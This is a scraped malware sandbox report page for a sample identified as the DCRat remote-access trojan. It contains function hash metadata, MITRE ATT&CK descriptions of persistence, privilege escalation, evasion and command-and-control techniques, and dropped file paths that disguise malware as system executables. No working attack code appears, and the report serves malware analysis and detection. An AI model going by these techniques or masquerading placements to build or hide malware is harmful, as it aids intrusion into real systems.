Memory Dump Source

Source File: 00000028.00000002.2526241755.00007FF848DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ff848da0000_sppsvc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ac22e76e06653ad778fe72bca14731dab2fa5edae6672a3ff20dd649a6b4b5e
Instruction ID: f4bbe3161fb493041785675ca7533cbaf4e1202717f0de79b7a0e52a53667c1a
Opcode Fuzzy Hash: 8ac22e76e06653ad778fe72bca14731dab2fa5edae6672a3ff20dd649a6b4b5e
Instruction Fuzzy Hash: DFF0C23190E7898FEB59AF3488552A93B60FF16340F1508BAD809C61D2DB389518C702

Function 00007FF848DB11D0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2526241755.00007FF848DB1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ff848db1000_sppsvc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50f14923cd64ea2db15a965bb3ac84d3b3a33b5eb4fafe8868f02d87f5905a9a
Instruction ID: 503f9c35f6af82feb0815b90b895ac7beacdb25be2a2fe8fc8a2e1262d52dc6c
Opcode Fuzzy Hash: 50f14923cd64ea2db15a965bb3ac84d3b3a33b5eb4fafe8868f02d87f5905a9a
Instruction Fuzzy Hash: F7F05830D59A0E8EEF84FF6888486FE77A0FF28341F40053AE82DC3194EB3065688644

Function 00007FF848DA27DD Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2526241755.00007FF848DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ff848da0000_sppsvc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ddd85c7d1ffb5a0ab3c44eee15507e47fd16bd26f23a6cf2d0d9380cbc155de
Instruction ID: 6703ae740386020982de2e8583fe3e02c9f36c3f089ccd2041717c2822eb016c
Opcode Fuzzy Hash: 5ddd85c7d1ffb5a0ab3c44eee15507e47fd16bd26f23a6cf2d0d9380cbc155de
Instruction Fuzzy Hash: 81F0FA3190FB8E8FEB58AF34881A2B93BA0FF05214F0005BAE809C61D2DB399418C201

Function 00007FF848DB7B07 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2526241755.00007FF848DB4000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DB4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ff848db4000_sppsvc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 332a7815638e6d091d8240c4106a45f33cb22f0ee594e85c702d2ac3c4bed305
Instruction ID: b39f22554d3914898867bea426827d6bee97542a9d1f8b5624c9edf57a085159
Opcode Fuzzy Hash: 332a7815638e6d091d8240c4106a45f33cb22f0ee594e85c702d2ac3c4bed305
Instruction Fuzzy Hash: EDF01C35A4921ACFDB18FF80E890AFD7375FB91350F00123ED506E3281DB79A8598748

Function 00007FF848DB435B Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2526241755.00007FF848DB4000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DB4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ff848db4000_sppsvc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08bd00cd1a8f6b38d7d4652afb7f67b21ff5457c59349f7f7169429dea445ded
Instruction ID: c5e55109c281cc8c76eac2ac67b6f8d20b6dec1e7b0b0ed874ef5bc7b881f406
Opcode Fuzzy Hash: 08bd00cd1a8f6b38d7d4652afb7f67b21ff5457c59349f7f7169429dea445ded
Instruction Fuzzy Hash: 7EE0C230849A0C4FCB54FB5AD8443D877B4FB58304F400239D40DDB140D7395699C745

Function 00007FF848DB57AB Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.2526241755.00007FF848DB4000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DB4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ff848db4000_sppsvc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 400d4643cb34cd76201422d63a4f63ebefa50fd3e44d54418643c90bb16ab669
Instruction ID: f4f0d0506324a37bb52b6607765fa3f6d521c52144e334895e7faa747d031902
Opcode Fuzzy Hash: 400d4643cb34cd76201422d63a4f63ebefa50fd3e44d54418643c90bb16ab669
Instruction Fuzzy Hash: C4D0C961D5D61ADEE684EA2C54897A86BB0FF64740F900136D00CC3145DF24A5458716

Non-executed Functions

Function 00007FF848DAD321 Relevance: 7.6, Strings: 6, Instructions: 140COMMON

Download Yara Rule

Strings

H{, xrefs: 00007FF848DAD3BE
B{, xrefs: 00007FF848DAD399
P{, xrefs: 00007FF848DAD3E3
`{, xrefs: 00007FF848DAD42D
X{, xrefs: 00007FF848DAD408
h{, xrefs: 00007FF848DAD452

Memory Dump Source

Source File: 00000028.00000002.2526241755.00007FF848DA8000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DA8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ff848da8000_sppsvc.jbxd

Similarity

API ID:
String ID: B{$H{$P{$X{$`{$h{
API String ID: 0-1553038716
Opcode ID: fb467336b68db25dac4ae1fba13c7b6e8c838f09444b116293afc1c226b014ac
Instruction ID: 14bdc8b545bfef1c465cc04d33a014cdfe130e088ef4f4cea670fa265609d45c
Opcode Fuzzy Hash: fb467336b68db25dac4ae1fba13c7b6e8c838f09444b116293afc1c226b014ac
Instruction Fuzzy Hash: F7513730E196098FEB44EB98D4557FDBBB2FF58340F600139D009E7296CF7869488B59

Function 00007FF848DB13C4 Relevance: 6.4, Strings: 5, Instructions: 178COMMON

Download Yara Rule

Strings

/, xrefs: 00007FF848DB1B47
], xrefs: 00007FF848DB13FB
+, xrefs: 00007FF848DB13B8
%, xrefs: 00007FF848DB142E
", xrefs: 00007FF848DB15C9

Memory Dump Source

Source File: 00000028.00000002.2526241755.00007FF848DB1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ff848db1000_sppsvc.jbxd

Similarity

API ID:
String ID: "$%$+$/$]
API String ID: 0-2028497010
Opcode ID: f10b3b0f5aa50b6283cba73c38b9f17750722add3327026382ad81ccdf1f3264
Instruction ID: 506d85a8d62a4659f4374a627c123237bfaf6546d7f3572142fc7fca6f2268de
Opcode Fuzzy Hash: f10b3b0f5aa50b6283cba73c38b9f17750722add3327026382ad81ccdf1f3264
Instruction Fuzzy Hash: 8F81BF70D196298FEBA8EF14C8947EDB7B2BB59355F1045A9D00DA7281CB386A88CF04

Function 00007FF848DB1654 Relevance: 6.4, Strings: 5, Instructions: 109COMMON

Download Yara Rule

Strings

/, xrefs: 00007FF848DB1B47
!, xrefs: 00007FF848DB1951
[, xrefs: 00007FF848DB1C27
{, xrefs: 00007FF848DB1944
%, xrefs: 00007FF848DB142E

Memory Dump Source

Source File: 00000028.00000002.2526241755.00007FF848DB1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ff848db1000_sppsvc.jbxd

Similarity

API ID:
String ID: !$%$/$[${
API String ID: 0-890287878
Opcode ID: 5aaec0f50d973d9caaa45d4a65a36d5d4b585495dcbac70c2d39fd35da8fdee7
Instruction ID: 5cb8fd1e50b1ee8a033b4e69918ecfbe5e42b6697548246e33edabb64ade0005
Opcode Fuzzy Hash: 5aaec0f50d973d9caaa45d4a65a36d5d4b585495dcbac70c2d39fd35da8fdee7
Instruction Fuzzy Hash: 3151C470D0922A8FEFA4EF54C8947EDB6B5AF19344F1045B9D00DA7285DB386A88DF48

Function 00007FF848DB4000 Relevance: 5.2, Strings: 4, Instructions: 235COMMON

Download Yara Rule

Strings

{, xrefs: 00007FF848DB4298
{, xrefs: 00007FF848DB40FA
@, xrefs: 00007FF848DB40DD
@, xrefs: 00007FF848DB427B

Memory Dump Source

Source File: 00000028.00000002.2526241755.00007FF848DB4000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848DB4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_7ff848db4000_sppsvc.jbxd

Similarity

API ID:
String ID: @$@${${
API String ID: 0-1926933063
Opcode ID: 8f7c2af5fd40a17285b31c2e00e0fc2dc65aa0329c9a688facdbfdffa5ad02f7
Instruction ID: ff5d76b028d1b4b75ed7df500bc9738f03c99c8fe7e3d623ad948d386e5ba9f4
Opcode Fuzzy Hash: 8f7c2af5fd40a17285b31c2e00e0fc2dc65aa0329c9a688facdbfdffa5ad02f7
Instruction Fuzzy Hash: 2C91B570D1952D8EDBA4EB58C894BECB7F1FF68340F5041A9D10DE3291DB746A848F45

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2RM12KtuNp.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DCRat

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files\Microsoft Office 15\ClientX64\69ddcba757bf72

C:\Program Files\Microsoft Office 15\ClientX64\smss.exe

C:\Program Files\Microsoft Office 15\ClientX64\smss.exe:Zone.Identifier

C:\Program Files\Windows Mail\c321b7ff01a2d7

C:\Program Files\Windows Mail\fuBYljHeUjtkgvlnN.exe

C:\Program Files\Windows Mail\fuBYljHeUjtkgvlnN.exe:Zone.Identifier

C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\24dbde2999530e

C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe

C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe:Zone.Identifier

C:\Recovery\0a1fd5f707cd16

C:\Recovery\c321b7ff01a2d7

C:\Recovery\fuBYljHeUjtkgvlnN.exe

C:\Recovery\fuBYljHeUjtkgvlnN.exe:Zone.Identifier

Windows Analysis Report
2RM12KtuNp.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre